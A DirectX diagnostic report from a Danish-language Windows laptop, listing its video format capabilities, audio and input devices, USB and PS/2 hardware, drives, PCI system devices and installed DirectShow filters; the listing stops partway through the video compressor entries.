Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {00000000-0000-0000-0000-000000000000}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= D3D9 Overlay: Not Supported DXVA-HD: Not Supported DDraw Status: Enabled D3D Status: Enabled AGP Status: Enabled ------------- Sound Devices ------------- Description: Højttalere (Realtek High Definition Audio) Default Sound Playback: Yes Default Voice Playback: Yes Hardware ID: HDAUDIO\FUNC_01&VEN_10EC&DEV_0880&SUBSYS_16310000&REV_1008 Manufacturer ID: 1 Product ID: 100 Type: WDM Driver Name: RtkHDAud.sys Driver Version: 5.10.0000.5123 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 4/15/2005 18:05:42, 2564032 bytes Other Files: Driver Provider: Realtek Semiconductor Corp. HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No --------------------- Sound Capture Devices --------------------- Description: Lydstyrke til mikrofon (Realtek High Definition Audio) Default Sound Capture: Yes Default Voice Capture: Yes Driver Name: RtkHDAud.sys Driver Version: 5.10.0000.5123 (English) Driver Attributes: Final Retail Date and Size: 4/15/2005 18:05:42, 2564032 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF Description: Linjeoptagelse for modem #0 Default Sound Capture: No Default Voice Capture: No Driver Name: Driver Version: Driver Attributes: Date and Size: Cap Flags: 0x1 Format Flags: 0x0 ------------------- DirectInput Devices ------------------- Device Name: Mus Attached: 1 Controller ID: n/a Vendor/Product ID: n/a FF Driver: n/a Device Name: Tastatur Attached: 1 Controller ID: n/a Vendor/Product ID: n/a FF Driver: n/a Poll w/ Interrupt: No ----------- USB Devices ----------- + USB-rodhub | Vendor/Product ID: 0x10B9, 0x5239 | Matching Device ID: USB\ROOT_HUB20 | Service: usbhub | Driver: usbhub.sys, 6/30/2013 23:48:36, 334680 bytes | Driver: usbd.sys, 6/30/2013 23:48:36, 18776 bytes ---------------- Gameport Devices ---------------- ------------ PS/2 Devices ------------ + Standard PS/2-tastatur | Matching Device ID: *PNP0303 | Service: i8042prt | Driver: i8042prt.sys, 7/26/2012 03:36:23, 89600 bytes | Driver: kbdclass.sys, 7/26/2012 04:42:33, 39664 bytes | + Synaptics PS/2 Port TouchPad | Matching Device ID: *syn0c02 | Upper Filters: SynTP | Service: i8042prt | Driver: SynTP.sys, 10/9/2007 07:44:58, 192560 bytes | Driver: SynTPAPI.dll, 10/9/2007 07:16:28, 147456 bytes | Driver: SynCOM.dll, 10/9/2007 07:07:54, 163840 bytes | Driver: SynCtrl.dll, 10/9/2007 07:08:12, 196608 bytes | Driver: SynTPRes.dll, 10/9/2007 07:23:08, 5783552 bytes | Driver: SynTPCpl.dll, 10/9/2007 07:17:48, 942080 bytes | Driver: SynCntxt.rtf, 10/9/2007 07:03:36, 4337710 bytes | Driver: SynZMetr.exe, 10/9/2007 07:03:24, 241664 bytes | Driver: SynMood.exe, 10/9/2007 07:02:36, 233472 bytes | Driver: SynTPEnh.exe, 10/9/2007 07:44:54, 1025320 bytes | Driver: SynTPStart.exe, 10/9/2007 07:23:32, 102400 bytes | Driver: SynTPCOM.dll, 10/9/2007 07:16:50, 102400 bytes | Driver: Tutorial.exe, 10/9/2007 07:23:26, 327680 bytes | Driver: InstNT.exe, 10/9/2007 07:44:56, 124200 bytes | Driver: SynISDLL.dll, 10/9/2007 07:44:00, 626688 bytes | Driver: SynUnst.ini, 10/12/2007 05:53:32, 385423 bytes | Driver: i8042prt.sys, 7/26/2012 03:36:23, 89600 bytes | Driver: mouclass.sys, 7/26/2012 04:42:15, 39152 bytes | Driver: SynTPCo4.dll, 10/9/2007 07:44:26, 110592 bytes | Driver: WdfCoInstaller01000.dll, 3/9/2006 01:58:00, 1060424 bytes | + HID-kompatibel mus | Vendor/Product ID: 0x046D, 0xC018 | Matching Device ID: HID_DEVICE_SYSTEM_MOUSE | Service: mouhid | Driver: mouhid.sys, 3/2/2013 08:18:13, 20992 bytes | Driver: mouclass.sys, 7/26/2012 04:42:15, 39152 bytes ------------------------ Disk & DVD/CD-ROM Drives ------------------------ Drive: C: Free Space: 85.4 GB Total Space: 114.1 GB File System: NTFS Model: ST9120822A ATA Device Drive: D: Model: MATSHITA UJ-850D ATA Device Driver: c:\windows\system32\drivers\cdrom.sys, 6.02.9200.16384 (Danish), 7/26/2012 03:33:53, 135680 bytes -------------- System Devices -------------- Name: AMD DRAM og HyperTransport(tm)-konfiguration til sporingstilstand Device ID: PCI\VEN_1022&DEV_1102&SUBSYS_00000000&REV_00\3&2B8E0B4B&0&C2 Driver: n/a Name: PCI standardvært CPU-bro Device ID: PCI\VEN_1002&DEV_5950&SUBSYS_59501002&REV_01\3&2B8E0B4B&0&00 Driver: n/a Name: ULi PCI to USB Open Host Controller Device ID: PCI\VEN_10B9&DEV_5237&SUBSYS_C00A1631&REV_03\3&2B8E0B4B&0&E2 Driver: C:\Windows\system32\drivers\usbohci.sys, 6.02.9200.16461 (English), 11/20/2012 05:59:22, 22016 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.02.9200.16654 (Danish), 6/30/2013 23:48:37, 380248 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.02.9200.16654 (Danish), 6/30/2013 23:48:36, 334680 bytes Name: ULi PCI to USB Open Host Controller Device ID: PCI\VEN_10B9&DEV_5237&SUBSYS_C00A1631&REV_03\3&2B8E0B4B&0&E1 Driver: C:\Windows\system32\drivers\usbohci.sys, 6.02.9200.16461 (English), 11/20/2012 05:59:22, 22016 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.02.9200.16654 (Danish), 6/30/2013 23:48:37, 380248 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.02.9200.16654 (Danish), 6/30/2013 23:48:36, 334680 bytes Name: ULi PCI to USB Open Host Controller Device ID: PCI\VEN_10B9&DEV_5237&SUBSYS_C00A1631&REV_03\3&2B8E0B4B&0&E0 Driver: C:\Windows\system32\drivers\usbohci.sys, 6.02.9200.16461 (English), 11/20/2012 05:59:22, 22016 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.02.9200.16654 (Danish), 6/30/2013 23:48:37, 380248 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.02.9200.16654 (Danish), 6/30/2013 23:48:36, 334680 bytes Name: High Definition Audio-controller Device ID: PCI\VEN_10B9&DEV_5461&SUBSYS_C00A1631&REV_00\3&2B8E0B4B&0&E8 Driver: C:\Windows\system32\DRIVERS\hdaudbus.sys, 6.02.9200.16420 (Danish), 9/20/2012 06:29:43, 62464 bytes Name: AMD HyperTransport(tm)-konfiguration Device ID: PCI\VEN_1022&DEV_1100&SUBSYS_00000000&REV_00\3&2B8E0B4B&0&C0 Driver: n/a Name: Texas Instruments PCIxx21 Integrated FlashMedia Controller Device ID: PCI\VEN_104C&DEV_8033&SUBSYS_C00A1631&REV_00\3&2B8E0B4B&0&83 Driver: C:\Windows\system32\DRIVERS\tifm21.sys, 1.00.0002.0001 (English), 9/13/2004 13:40:56, 146304 bytes Name: AMD Ekstra konfiguration Device ID: PCI\VEN_1022&DEV_1103&SUBSYS_00000000&REV_00\3&2B8E0B4B&0&C3 Driver: n/a Name: PCI standard ISA-bro Device ID: PCI\VEN_10B9&DEV_1573&SUBSYS_C00A1631&REV_31\3&2B8E0B4B&0&F0 Driver: C:\Windows\system32\DRIVERS\msisadrv.sys, 6.02.9200.16384 (English), 7/26/2012 04:42:14, 15088 bytes Name: ALi 7101 Power Management-controller Device ID: PCI\VEN_10B9&DEV_7101&SUBSYS_C00A1631&REV_00\3&2B8E0B4B&0&F1 Driver: n/a Name: Standard Dual Channel PCI IDE-controller Device ID: PCI\VEN_10B9&DEV_5229&SUBSYS_C00A1631&REV_C7\3&2B8E0B4B&0&F8 Driver: C:\Windows\system32\DRIVERS\pciide.sys, 6.02.9200.16384 (English), 7/26/2012 04:42:15, 13552 bytes Driver: C:\Windows\system32\DRIVERS\pciidex.sys, 6.02.9200.16384 (Danish), 7/26/2012 04:42:15, 41200 bytes Driver: C:\Windows\system32\DRIVERS\atapi.sys, 6.02.9200.16384 (English), 7/26/2012 04:42:31, 22768 bytes Driver: C:\Windows\system32\DRIVERS\ataport.sys, 6.02.9200.16384 (Danish), 7/26/2012 04:42:31, 158448 bytes Name: ULi M526X Ethernet Controller Device ID: PCI\VEN_10B9&DEV_5263&SUBSYS_C00A1631&REV_50\3&2B8E0B4B&0&D8 Driver: C:\Windows\system32\DRIVERS\ULILAN32.SYS, 5.01.2600.0383 (English), 6/30/2006 04:39:14, 30720 bytes Name: ULi USB 2.0 Enhanced Host Controller Device ID: PCI\VEN_10B9&DEV_5239&SUBSYS_C00A1631&REV_01\3&2B8E0B4B&0&E3 Driver: C:\Windows\system32\drivers\usbehci.sys, 6.02.9200.16654 (Danish), 6/30/2013 23:48:37, 64344 bytes Driver: C:\Windows\system32\drivers\usbport.sys, 6.02.9200.16654 (Danish), 6/30/2013 23:48:37, 380248 bytes Driver: C:\Windows\system32\drivers\usbhub.sys, 6.02.9200.16654 (Danish), 6/30/2013 23:48:36, 334680 bytes Name: Texas Instruments PCI-xx21/xx11 CardBus Controller with UltraMedia Device ID: PCI\VEN_104C&DEV_8031&SUBSYS_C00A1631&REV_00\3&2B8E0B4B&0&80 Driver: C:\Windows\system32\DRIVERS\pcmcia.sys, 6.02.9200.16384 (Danish), 7/26/2012 04:48:32, 194288 bytes Driver: C:\Windows\system32\DRIVERS\pci.sys, 6.02.9200.16384 (Danish), 7/26/2012 04:42:15, 191216 bytes Name: AMD-konfiguration til adressekort Device ID: PCI\VEN_1022&DEV_1101&SUBSYS_00000000&REV_00\3&2B8E0B4B&0&C1 Driver: n/a Name: SDA Standard-kompatibel SD-værtscontroller Device ID: PCI\VEN_104C&DEV_8034&SUBSYS_C00A1631&REV_00\3&2B8E0B4B&0&84 Driver: C:\Windows\system32\DRIVERS\sdbus.sys, 6.02.9200.16654 (Danish), 6/29/2013 05:29:21, 159576 bytes Driver: C:\Windows\system32\DRIVERS\dumpsd.sys, 6.02.9200.16654 (Danish), 6/29/2013 05:29:15, 105304 bytes Name: PCI standard PCI til PCI-bro Device ID: PCI\VEN_1002&DEV_5A3F&SUBSYS_5A3F1002&REV_00\3&2B8E0B4B&0&08 Driver: C:\Windows\system32\DRIVERS\pci.sys, 6.02.9200.16384 (Danish), 7/26/2012 04:42:15, 191216 bytes Name: Ralink RT2500 Wireless LAN Card Device ID: PCI\VEN_1814&DEV_0201&SUBSYS_25601814&REV_01\3&2B8E0B4B&0&88 Driver: C:\Windows\system32\DRIVERS\RT2500.sys, 3.02.0000.0000 (English), 6/2/2006 05:37:58, 236800 bytes Name: PCI standard PCI til PCI-bro Device ID: PCI\VEN_10B9&DEV_5249&SUBSYS_00000000&REV_00\3&2B8E0B4B&0&C8 Driver: C:\Windows\system32\DRIVERS\pci.sys, 6.02.9200.16384 (Danish), 7/26/2012 04:42:15, 191216 bytes Name: ATI MOBILITY RADEON XPRESS 200 Device ID: PCI\VEN_1002&DEV_5955&SUBSYS_C00A1631&REV_00\4&311ACC57&0&2808 Driver: n/a Name: ATI Unified AVStream Driver Device ID: ROOT\UNKNOWN\0000 Driver: C:\Windows\system32\drivers\atinavrr.sys, 6.14.0010.0338 (English), 2/4/2009 03:28:16, 1015296 bytes Driver: C:\Windows\system32\atinpprr.ax, 6.14.0010.0338 (English), 2/4/2009 03:29:02, 110592 bytes Driver: C:\Windows\system32\DRIVERS\CTRL.s3, 9/12/2008 22:13:06, 1498391 bytes Driver: C:\Windows\system32\DRIVERS\CTRLT511.s3, 9/12/2008 22:13:38, 1569515 bytes Driver: C:\Windows\system32\DRIVERS\NcRemotePci.SYS, 1.06.0009.0011 (English), 12/5/2008 06:51:38, 12672 bytes Driver: C:\Windows\system32\drivers\BdaSup.sys, 6.02.9200.16384 (English), 7/26/2012 03:35:52, 12416 bytes Driver: C:\Windows\system32\drivers\drmk.sys, 6.02.9200.16433 (English), 10/11/2012 05:39:47, 83456 bytes Driver: C:\Windows\system32\drivers\portcls.sys, 6.02.9200.16433 (Danish), 10/11/2012 05:37:50, 218112 bytes Name: Texas Instruments 1394 OHCI-kompatibel værtscontroller Device ID: PCI\VEN_104C&DEV_8032&SUBSYS_C00A1631&REV_00\3&2B8E0B4B&0&82 Driver: C:\Windows\system32\DRIVERS\1394ohci.sys, 6.02.9200.16384 (Danish), 7/26/2012 03:33:52, 173056 bytes ------------------ DirectShow Filters ------------------ DirectShow Filters: WMAudio Decoder DMO,0x00800800,1,1,WMADMOD.DLL,6.02.9200.16384 WMAPro over S/PDIF DMO,0x00600800,1,1,WMADMOD.DLL,6.02.9200.16384 WMSpeech Decoder DMO,0x00600800,1,1,WMSPDMOD.DLL,6.02.9200.16384 MP3 Decoder DMO,0x00600800,1,1,mp3dmod.dll,6.02.9200.16384 Mpeg4s Decoder DMO,0x00800001,1,1,mp4sdecd.dll,6.02.9200.16496 WMV Screen decoder DMO,0x00600800,1,1,wmvsdecd.dll,6.02.9200.16384 WMVideo Decoder DMO,0x00800001,1,1,wmvdecod.dll,6.02.9200.16604 Mpeg43 Decoder DMO,0x00800001,1,1,mp43decd.dll,6.02.9200.16384 Mpeg4 Decoder DMO,0x00800001,1,1,mpg4decd.dll,6.02.9200.16384 WMT VIH2 Fix,0x00200000,1,1,WLXVAFilt.dll,16.04.3505.0912 Record Queue,0x00200000,1,1,WLXVAFilt.dll,16.04.3505.0912 WMT Switch Filter,0x00200000,1,1,WLXVAFilt.dll,16.04.3505.0912 WMT Virtual Renderer,0x00200000,1,0,WLXVAFilt.dll,16.04.3505.0912 WMT DV Extract,0x00200000,1,1,WLXVAFilt.dll,16.04.3505.0912 WMT Virtual Source,0x00200000,0,1,WLXVAFilt.dll,16.04.3505.0912 WMT Sample Information Filter,0x00200000,1,1,WLXVAFilt.dll,16.04.3505.0912 ATI Ticker,0x00200000,0,1,Ticker.ax, DV Muxer,0x00400000,0,0,qdv.dll,6.06.9200.16384 Color Space Converter,0x00400001,1,1,quartz.dll,6.06.9200.16384 WM ASF Reader,0x00400000,0,0,qasf.dll,12.00.9200.16384 AVI Splitter,0x00600000,1,1,quartz.dll,6.06.9200.16384 VGA 16 Color Ditherer,0x00400000,1,1,quartz.dll,6.06.9200.16384 SBE2MediaTypeProfile,0x00200000,0,0,sbe.dll,6.06.9200.16384 Microsoft DTV-DVD Video Decoder,0x005fffff,2,4,msmpeg2vdec.dll,12.00.9200.16429 AC3 Parser Filter,0x00600000,1,1,mpg2splt.ax,6.06.9200.16384 StreamBufferSink,0x00200000,0,0,sbe.dll,6.06.9200.16384 MJPEG Decompressor,0x00600000,1,1,quartz.dll,6.06.9200.16384 MPEG-I Stream Splitter,0x00600000,1,2,quartz.dll,6.06.9200.16384 SAMI (CC) Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 VBI Codec,0x00600000,1,4,VBICodec.ax,6.06.9200.16384 MPEG-2 Splitter,0x005fffff,1,0,mpg2splt.ax,6.06.9200.16384 Closed Captions Analysis Filter,0x00200000,2,5,cca.dll,6.06.9200.16384 SBE2FileScan,0x00200000,0,0,sbe.dll,6.06.9200.16384 Microsoft MPEG-2 Video Encoder,0x00200000,1,1,msmpeg2enc.dll,12.00.9200.16384 Internal Script Command Renderer,0x00800001,1,0,quartz.dll,6.06.9200.16384 MPEG Audio Decoder,0x03680001,1,1,quartz.dll,6.06.9200.16384 MMACE ProcAmp,0x00200000,0,2,MMACEFilters.dll, DV Splitter,0x00600000,1,2,qdv.dll,6.06.9200.16384 Video Mixing Renderer 9,0x00200000,1,0,quartz.dll,6.06.9200.16384 Microsoft MPEG-2 Encoder,0x00200000,2,1,msmpeg2enc.dll,12.00.9200.16384 ACM Wrapper,0x00600000,1,1,quartz.dll,6.06.9200.16384 Video Renderer,0x00800001,1,0,quartz.dll,6.06.9200.16384 MPEG-2 Video Stream Analyzer,0x00200000,0,0,sbe.dll,6.06.9200.16384 Line 21 Decoder,0x00600000,1,1,qdvd.dll,6.06.9200.16384 Video Port Manager,0x00600000,2,1,quartz.dll,6.06.9200.16384 Video Renderer,0x00400000,1,0,quartz.dll,6.06.9200.16384 File Writer,0x00200000,1,0,WLXVAFilt.dll,16.04.3505.0912 VPS Decoder,0x00200000,0,0,WSTPager.ax,6.06.9200.16384 WM ASF Writer,0x00400000,0,0,qasf.dll,12.00.9200.16384 VBI Surface Allocator,0x00600000,1,1,vbisurf.ax,6.02.9200.16384 MMACE SoftEmu,0x00200000,0,2,MMACEFilters.dll, File writer,0x00200000,1,0,qcap.dll,6.06.9200.16384 DVD Navigator,0x00200000,0,3,qdvd.dll,6.06.9200.16384 MMACE DeInterlace,0x00200000,0,2,MMACEFilters.dll, Overlay Mixer2,0x00200000,1,1,qdvd.dll,6.06.9200.16384 AVI Draw,0x00600064,9,1,quartz.dll,6.06.9200.16384 Microsoft MPEG-2 Audio Encoder,0x00200000,1,1,msmpeg2enc.dll,12.00.9200.16384 WST Pager,0x00200000,1,1,WSTPager.ax,6.06.9200.16384 MPEG-2 Demultiplexer,0x00600000,1,1,mpg2splt.ax,6.06.9200.16384 DV Video Decoder,0x00800000,1,1,qdv.dll,6.06.9200.16384 SampleGrabber,0x00200000,1,1,qedit.dll,6.06.9200.16628 Null Renderer,0x00200000,1,0,qedit.dll,6.06.9200.16628 MPEG-2 Sections and Tables,0x005fffff,1,0,Mpeg2Data.ax,6.06.9200.16384 Microsoft AC3 Encoder,0x00200000,1,1,msac3enc.dll,6.02.9200.16384 StreamBufferSource,0x00200000,0,0,sbe.dll,6.06.9200.16384 Smart Tee,0x00200000,1,2,qcap.dll,6.06.9200.16384 Overlay Mixer,0x00200000,0,0,qdvd.dll,6.06.9200.16384 AVI Decompressor,0x00600000,1,1,quartz.dll,6.06.9200.16384 AVI/WAV File Source,0x00400000,0,2,quartz.dll,6.06.9200.16384 Wave Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 MIDI Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 Multi-file Parser,0x00400000,1,1,quartz.dll,6.06.9200.16384 File stream renderer,0x00400000,1,1,quartz.dll,6.06.9200.16384 Microsoft DTV-DVD Audio Decoder,0x005fffff,1,1,msmpeg2adec.dll,12.00.8506.0000 StreamBufferSink2,0x00200000,0,0,sbe.dll,6.06.9200.16384 AVI Mux,0x00200000,1,0,qcap.dll,6.06.9200.16384 Line 21 Decoder 2,0x00600002,1,1,quartz.dll,6.06.9200.16384 File Source (Async.),0x00400000,0,1,quartz.dll,6.06.9200.16384 File Source (URL),0x00400000,0,1,quartz.dll,6.06.9200.16384 AudioRecorder WAV Dest,0x00200000,0,0,WavDest.dll, AudioRecorder Wave Form,0x00200000,0,0,WavDest.dll, SoundRecorder Null Renderer,0x00200000,0,0,WavDest.dll, Infinite Pin Tee Filter,0x00200000,1,1,qcap.dll,6.06.9200.16384 Enhanced Video Renderer,0x00200000,1,0,evr.dll,6.02.9200.16384 BDA MPEG2 Transport Information Filter,0x00200000,2,0,psisrndr.ax,6.06.9200.16384 MPEG Video Decoder,0x40000001,1,1,quartz.dll,6.06.9200.16384 WDM Streaming Tee/Splitter Devices: Tee/Sink-to-Sink-konverteringsprogram,0x00200000,1,1,ksproxy.ax,6.02.9200.16384 Video Compressors: WMVideo8 Encoder DMO,0x00600800,1,1,wmvxencd.dll,6.02.9200.16384 WMVideo9 Encoder DMO,0x00600800,1,1,wmvencod.dll,6.02.9200.16384 MSScreen 9 encoder DMO,0x00600800,1,1,wmvsencd.dll,6.02.9200.16384 DV Video Encoder,0x00200000,0,0,qdv.dll,6.06.9200.16384 MJPEG Compressor,0x00200000,0,0,quartz.dll,6.06.9200.16384 Cinepak Codec efter Radius,0x00200000,1,1,qcap.dll,6.06.9200.16384 Intel IYUV codec,0x00200000,1,1,qcap.dll,6.06.9200.16384 Intel IYUV codec,0x00200000,1,1,qcap.dll,6.06.9200.16384 Microsoft 